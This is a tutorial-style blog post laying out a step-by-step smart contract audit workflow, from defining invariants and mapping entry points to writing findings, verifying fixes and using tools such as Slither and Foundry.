Crypto Training
A Practical Smart Contract Audit Workflow: From Threat Model to Finding
Good audits are structured: define invariants, map entry points, test the scary parts, and write findings that lead to fixes.
Auditing is not a personality trait. It's a workflow.
If you treat audits as “read code and vibe”, you get inconsistent results: lots of noise, missed high-impact issues, and findings that don’t translate into fixes.
If you treat audits as a sequence of constraints and experiments, you produce repeatable findings and you can explain why they matter.
This post is a pragmatic process for real codebases: multi-contract systems, external integrations, upgrades, and MEV.
Step 0: define what you are protecting#
Write down the assets and guarantees.
I literally write them as sentences and keep them at the top of my notes.
Examples:
- users can always withdraw (liveness)
- accounting cannot be inflated (safety)
- only governance can change parameters (auth)
- price reads cannot be manipulated cheaply (economic security)
These become your invariants.
If the spec doesn’t state invariants, you must infer them from behavior, tests, and the project’s economics. A surprising number of incidents are “the code did what it said, but the team thought it said something else.”
Step 1: map entry points and privilege#
List every externally callable function that changes state.
Then categorize by who can call it.
| Category | Why it matters | Common failure |
|---|---|---|
| permissionless | biggest attack surface | missing checks, unbounded work |
| role-gated | privilege mistakes are catastrophic | role misconfig, bypass |
| admin-only | governance is code + ops | unsafe upgrades, key risk |
| contract-only | “onlyContract” is brittle | callable via wrappers / delegatecall |
Most critical bugs are “permissionless state change meets external call”.
If you do nothing else, do this: enumerate the state-changing entry points and mark “external calls inside accounting.” That alone catches a lot.
Step 2: draw the external-call graph#
Do not start with line-by-line reading.
Start with the edges that cross trust boundaries:
- token calls
- oracle calls
- callbacks/hooks
- low-level calls
- delegatecalls
This graph tells you where invariants can be broken.
A good audit note looks like:
deposit()calls tokentransferFromand fee modulewithdraw()calls tokentransferand optional hookliquidate()calls oracle, then transfers, then emits
Once you have that map, you know where to spend attention.
Step 3: derive invariants (make them testable)#
A useful invariant is something you can falsify.
Bad invariant: “the protocol is safe.”
Good invariants:
- total shares are consistent with total assets (under defined rules)
- debt cannot decrease except via repayment
- message ids are consumed exactly once
- privileged actions require an explicit role
If you can’t state invariants, you can’t know what “broken” looks like.
A trick that works#
If you’re stuck, phrase invariants as “this variable can only move in these directions under these conditions.”
- “fee growth is monotonic”
- “collateralization can only decrease when price decreases”
- “a message id can only be consumed once”
This converts ambiguity into checks.
Step 4: isolate the highest-yield bug classes#
This is where auditors make money.
Focus review on:
- external calls in the middle of accounting
- upgradeability and initialization
- signature verification and replay boundaries
- oracle reads and price assumptions
- any loop over state that can grow
- “best effort” calls that ignore return values
These are the places production systems bleed.
Step 5: turn hypotheses into tests#
If something feels scary, write a test.
- exploit POC
- fuzz test
- invariant check
This does two things:
- forces clarity (you either found a path or you didn’t)
- produces a regression artifact the project can keep
What tests I want to see#
| Risk | Test style | Why |
|---|---|---|
| rounding/accounting | property + fuzz | rounding bugs hide in corners |
| reentrancy | attacker harness + trace | makes control flow explicit |
| token weirdness | delta-based assertions | kills fee-on-transfer assumptions |
| upgrades | upgrade simulation | catches layout drift |
| oracle manipulation | adversarial scenarios | makes economics explicit |
A strong audit builds a small suite of “fear tests” that encode the threat model.
Step 6: severity is about impact and exploitability#
A lot of reports confuse “scary” with “critical”.
I use a simple rubric:
| Severity | Typical impact | Typical exploitability |
|---|---|---|
| Critical | fund loss / takeover | feasible on mainnet |
| High | major fund loss / permanent DoS | plausible with mild assumptions |
| Medium | limited loss / temporary DoS | needs timing/conditions |
| Low | footgun / defense-in-depth | unlikely or minor |
The important part is to write down the assumptions.
“Critical if attacker can choose the token” is different from “critical if only governance can set token and governance is a timelock.”
Step 7: write findings that lead to fixes#
A good finding is not “this might be dangerous”.
A good finding is an engineer handing another engineer a reproducible bug.
A template that works:
- Impact: what goes wrong (fund loss, DoS, privilege escalation)
- Root cause: why it happens
- Preconditions: when it is reachable
- Exploit sketch: minimal steps
- Recommendation: specific fix + tradeoffs
Example finding (short)#
Impact: attacker can inflate shares and steal assets from other depositors.
Root cause: shares are minted from the user-provided amount instead of actual received amount; fee-on-transfer tokens break the accounting.
Preconditions: attacker can deposit a fee-on-transfer token, or token can be swapped to such a token via governance.
Exploit sketch: deposit amount, receive amount - fee, but mint shares as if amount arrived, then withdraw more than contributed.
Recommendation: mint shares from balance delta (after - before), or restrict tokens via adapters/allowlist.
This is actionable because it is a concrete mismatch between an invariant and an assumption.
Step 8: verify the fix and lock regressions#
The fix is not “merged”. The fix is:
- verified by tests
- verified by reasoning (invariants now hold)
- protected by regression tests
Audits should reduce future risk, not just produce a report.
Step 9: don’t ignore operational risk#
Many “Solidity incidents” are actually operational failures:
- upgrade keys compromised
- timelocks bypassed via misconfig
- guardians abused
- deploy scripts wrong
As an auditor, you don’t own ops. But you should surface when protocol safety depends on flawless ops.
A good audit explicitly states:
- where admin power exists
- what happens if admins are malicious
- what happens if admins are compromised
Step 10: keep an audit log, not just a report#
A report is a snapshot.
An audit log is the reasoning trail.
I like logs that include:
- invariants
- entry point map
- external-call map
- hypotheses and tests
- decisions (“we accept this risk because …”)
That’s what lets teams learn, not just patch.
Step 11: use tooling to buy time, not to outsource thinking#
Static analysis and traces are force multipliers, not auditors.
I use tools for three things:
- Coverage: find the functions and edges I might miss by eye.
- Triage: confirm whether a hypothesis is reachable.
- Evidence: capture traces and minimal repros.
Here’s a sane tool map:
| Tool | What it’s good for | What it’s bad for |
|---|---|---|
| Slither | broad patterns, footguns, quick wins | nuanced invariants, economics |
| Foundry | reproducing and fuzzing | finding issues you never hypothesize |
| Tenderly / traces | understanding execution paths | proving economic safety |
| Semgrep | project-specific pattern hunts | inter-procedural reasoning without good rules |
The trap is to run tools and turn alerts into findings.
The better workflow is: use tools to validate or falsify your threat model.
Step 12: write “what breaks” before “what’s wrong”#
Engineers respond to impact.
If your finding begins with “the code does X,” the team will argue about whether X matters.
If your finding begins with “a user can steal Y under conditions Z,” the discussion becomes concrete.
An effective ordering inside a finding:
- Impact: what breaks (liveness, fund safety, auth)
- Exploit path: minimal steps
- Root cause: the specific assumption that failed
- Fix: the narrowest change that restores the invariant
- Regression: the test that prevents the bug from returning
This is how you turn a report into a security improvement, not just a PDF.
Step 13: the fastest way to level up is to do postmortems#
When you read an incident report, don’t just collect the headline.
Write down:
- what invariant failed
- what trust boundary was crossed
- what assumption the code made
- what tests would have caught it
After 20 postmortems, you start seeing the same primitives everywhere: reentrancy edges, replay boundaries, oracle cost mistakes, and upgrade auth.
Step 14: context building (how to not drown in a big repo)#
Large codebases kill audits by overwhelming you.
The trick is to build context deliberately:
- start from the deployment artifacts and configuration (what is actually deployed?)
- identify the “asset boundary” (where funds or authority live)
- follow the code paths that touch those assets
A practical approach:
| Question | What you look at first |
|---|---|
| Where can funds leave? | withdraw/transfer paths, settlement, rescue functions |
| Who can change rules? | governance/admin roles, upgrade hooks |
| What can revert and freeze progress? | token calls, hooks, oracle reads |
| What is assumed honest? | keepers, relayers, off-chain signers |
If you can answer those four early, your line-by-line reading becomes targeted instead of random.
Step 15: a simple day-by-day audit cadence#
For a typical multi-contract protocol:
- Day 1: entry points, privilege map, external-call graph
- Day 2: accounting invariants, oracle and token assumptions
- Day 3: exploit attempts + fuzz harnesses for the scary paths
- Day 4: upgradeability, roles, configuration review
- Day 5: write findings, reproduce, fix-review, regression tests
This cadence is not a rule. It’s a way to ensure you don't spend 80% of time “reading” and 20% validating the parts that can actually fail.
Step 16: treat integrations as adversarial APIs#
Most DeFi systems are glue:
- tokens
- oracles
- bridges
- DEX routers
- staking modules
Each integration is an API with failure modes: reverts, weird return values, hooks, stale data, and gas griefing.
When auditing integrations, I like to write a short “contract” for each dependency:
- what does it guarantee?
- what can it do unexpectedly?
- what is your safe failure mode?
This forces you to design around reality instead of the happy path.
If a dependency can revert, your protocol inherits that revert as a liveness risk.
If a dependency can reenter (hooks, callbacks, token transfers), your protocol inherits that as a control-flow risk.
Most “mysterious” incidents are just these inherited risks showing up at the worst possible moment, where the mempool is hostile and transactions race.
Watch: audit techniques and tools (Secureum)#
If you prefer video, this Secureum lecture is a solid companion to the workflow above: how to think about attack surfaces, how to use tools as filters, and how to avoid “random reading”.
Further reading#
- Hacking mindset guide: https://medium.com/immunefi/hacking-the-blockchain-an-ultimate-guide-4f34b33c6e8b
- Audit report structure: https://www.dylandavis.net/blog/2022/06/12/the-ideal-audit-report/